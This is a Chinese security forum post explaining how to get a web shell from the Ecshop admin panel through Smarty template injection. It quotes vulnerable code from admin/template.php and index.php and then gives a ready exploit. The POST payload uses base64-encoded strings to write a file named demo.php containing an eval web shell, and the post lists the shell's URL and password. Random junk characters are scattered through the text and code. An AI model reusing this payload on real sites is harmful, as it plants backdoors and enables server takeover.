找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2489|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板1 \+ Z% l& [, R' B
( ]0 {: ~& G; O) `: o! X  `0 M$ w
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
2 B8 _! N. d3 u# @8 U但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
: w4 _" p0 j8 c& d$ Z1 Xadmin/template.php
9 I, J' f; L) b4 ?. F* Y7 T# C* T9 N" c  _
1 if ($_REQUEST['act'] == 'update_library') 1 O" c* F8 m( S2 M0 E+ N$ B6 o7 c
/ E! ~! m' z/ D5 b. f$ C. ]
2   
4 N% {  h. \) z" A" }4 t3 Q9 _/ c) m3 ]+ p
3 { 5 S( J$ C) o( J8 K& n6 t
4 `% L$ q( d! P5 q/ c6 g/ }
4     check_authz_json('library_manage'); : Y7 q- P1 b% I- N3 V7 N/ f1 W
9 D; |4 C* H, F; F; c! n
5   ( k" t  {2 C7 H8 Z6 R

2 x& G, X7 I: Q4 [* o. j# q/ ?6     $html = stripslashes(json_str_iconv($_POST['html']));
1 [. P7 F4 ~6 ^# v5 _- o. w% a. U$ G0 P
7   2 `; O9 u( |! k

( U0 k) w8 u$ I. b% H8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
; Y; s0 B3 p% P+ Q3 H' u% b  y8 S$ h5 n, w+ _
9   
- V! M/ h" V4 a, c' Q# _; Z( Z# O  j9 _2 [1 K
10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
& q. A) ^2 n$ ?6 }
- ^/ p9 X" G( ^: r: m0 ]/ O8 o( o11   
) j# J1 h6 R1 w6 y* w
( w" b8 T% [4 j( V$ g12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); 3 ~8 X- E% V( {9 f6 \' B: i

1 w; t7 u9 [' g5 B. p* |13   
& C% [# d% J# Z( [
: t- R; O% K, ?' ]14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 . h" G9 |* M3 Y. b$ {0 V7 X. y: l
- E1 c& P. r* a/ V$ e
15     { . s1 M- [# U- _
, _( F) r6 p* _3 k
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
0 F' K# x( U# f
9 C3 t3 Z" }! G6 ?17         make_json_result('', $_LANG['update_lib_success']); , ]. ?; G7 C+ r: |4 Y" z
5 X& `+ n8 D& ], _7 e' @
18     }
& B5 u7 `7 a# P. H5 P: j; M: [* x" ]  |) a* N# u
19     else
- J2 v: O1 f7 W! o+ m+ c$ t- s) H1 F# N7 W) }) y% c! O
20     { # b5 o% ]; C0 R% e, G6 I

: C" _; H( x% J21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
7 i: P9 U' B3 b1 n- A; ~' x( N1 Q
! a/ y' z" u* I22     } ) v$ S2 X* M/ b' a# `

6 W* n, F% e; v- v0 Z4 d4 T/ x0 {23 }
; b$ X0 f: d  F7 N- W% Y; }. Z; x# j4 E
那么找个比较方便调用了模板的文件, S, n+ g$ A# Q" p+ s7 ~0 A( R
index.php
/ w5 W9 d5 i1 f1 M; M& ?
- h+ Q9 t# B. L- l1 if ($act == 'cat_rec')
% f) s. `( F/ J; @' r% j- a" b. L  Q- Q: ^3 ]
2   
# c6 B  m4 r  f8 `+ T7 @! p9 t9 Q' U! F9 F& y2 r
3 {
% v3 Y( w) c+ ~6 W5 Q. b
' o9 J7 N* O8 s# j4   
/ m) K  K8 W' c7 E3 G9 C( P- r# J! y. u4 k2 P
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); 6 L* m  F" L+ Q* r* W* k

; \  Q. p1 X1 W; t6   - k$ A1 S3 x/ R  k3 ?

' X# c9 {. g) P7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; ! P0 d' [# c5 y* @
1 k9 N$ {3 K) L4 Q. O8 Y" D3 a% D
8   : ^! t  l$ ]" K: v1 U  ^

: B% u9 Q. B5 y* G7 E4 q9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
7 Y1 c3 l6 ]$ U9 }) Y6 Y8 e: N$ A6 T2 g2 t  k9 R1 G
10   
- o# H0 H6 q2 ?. a$ ^
& s& A& ^8 M6 Q2 e: c, O11     include_once('includes/cls_json.php');
) e& Z  R; [1 k- n2 s; S2 Q  x- p4 b' R. _0 E" n: g' J$ _
12   
8 q2 U; k0 d- `" N! k4 R- [2 U! i0 N: }( f- x) L1 z3 S
13     $json = new JSON;
# Y  o' Y8 O0 `8 z1 ~/ U  \
3 u6 V2 N& _6 ?. y14   
8 u. E2 p3 T+ ~+ ^- ~8 c" J1 q4 [( N+ {1 h6 N% S' h3 O6 s$ ^2 R
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
, [1 Z4 i% G5 v# ?3 G9 Q% @! o
+ T5 r3 b( C; |; g16   ; k8 k- k6 Y: M" r9 i6 C

) ~/ C4 o1 o* i! d* L17     $children = get_children($cat_id); * h5 Z4 _$ w  x( d

. p- k# @# V/ @; R2 g18   
/ c: u: P6 y7 u7 Z9 [9 p( V1 a( f7 y9 W7 N8 n
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
' `: h- a0 T5 N
! P& ]( k) U# X2 U5 v( |  W20   - j, [( u3 f1 H5 G' D. w
2 q& u$ j* p! a+ Y7 g7 K
21     $smarty->assign('cat_rec_sign', 1);
/ U% M; o8 T) R( _/ l* a6 `% q! M
' Y( x# B* G6 M2 d$ d8 V& i$ {22   
" w$ x/ k  [6 Z6 t0 G& s. l$ I% S$ m
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best $ J2 y: }' c& n. y- x  P* `6 F

, g* r: M  Z9 P' h8 H% I' `24   
: a$ B7 C( z" }" m" S1 i  ]
2 J" n- j& z: O25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
9 J9 m9 Y  J& v7 n9 A" C4 p$ ^; ^* U2 n8 F  u& ^
26   
$ k& X. ?5 X4 M
8 C* }! z4 F+ x6 B8 p: h3 [27         echo $rec_array[$rec_type];
5 g' O0 @% A& w/ {, I7 N$ K1 J2 W4 ^8 i& n0 h/ X- Y2 y; t
28   . |" ~) S/ o* U7 O
5 D2 s0 b: m5 X# p$ ]
29     die($json->encode($result)); & h) F9 f; M0 ]# _% p, K! m
, J- [7 \& r$ Z! Q- ^: c! X; E
30   
6 Z' \' g4 c8 O3 o5 m$ H- }9 J
' z( e: e; Y2 f- S/ a# n* N31 } + R' E# ?# w3 T* K

6 d- _0 q" F8 G  K5 J那么就有利用方法了
# Q, h8 b1 g: [( h' T) a! Jpost包到http://localhost/ec/admin/template.php?act=update_library
* x' U# H7 N0 \3 b6 O- \Post内容:
3 w* `2 K2 K  |9 S8 N7 E2 F2 A8 i

4 F" T5 `) `/ J+ L: b: L; s6 P7 r1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} ; o4 D* s  P# V3 P2 X  @, R5 V% s1 V
, p( Q2 v- D$ V2 e
然后访问http://localhost/ec/index.php?act=cat_rec
* I+ g! B$ ~1 X) f; J- G  p* e/ M5 X) G& Q: e6 _
shel地址:http://localhost/ec/demo.php
: d8 o* y+ i( J- U1 B4 Y) A密码c
1 y/ l' f4 b2 G" O$ {4 w
# F% Y3 Q) l4 h% u1 I* p& o2 C
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表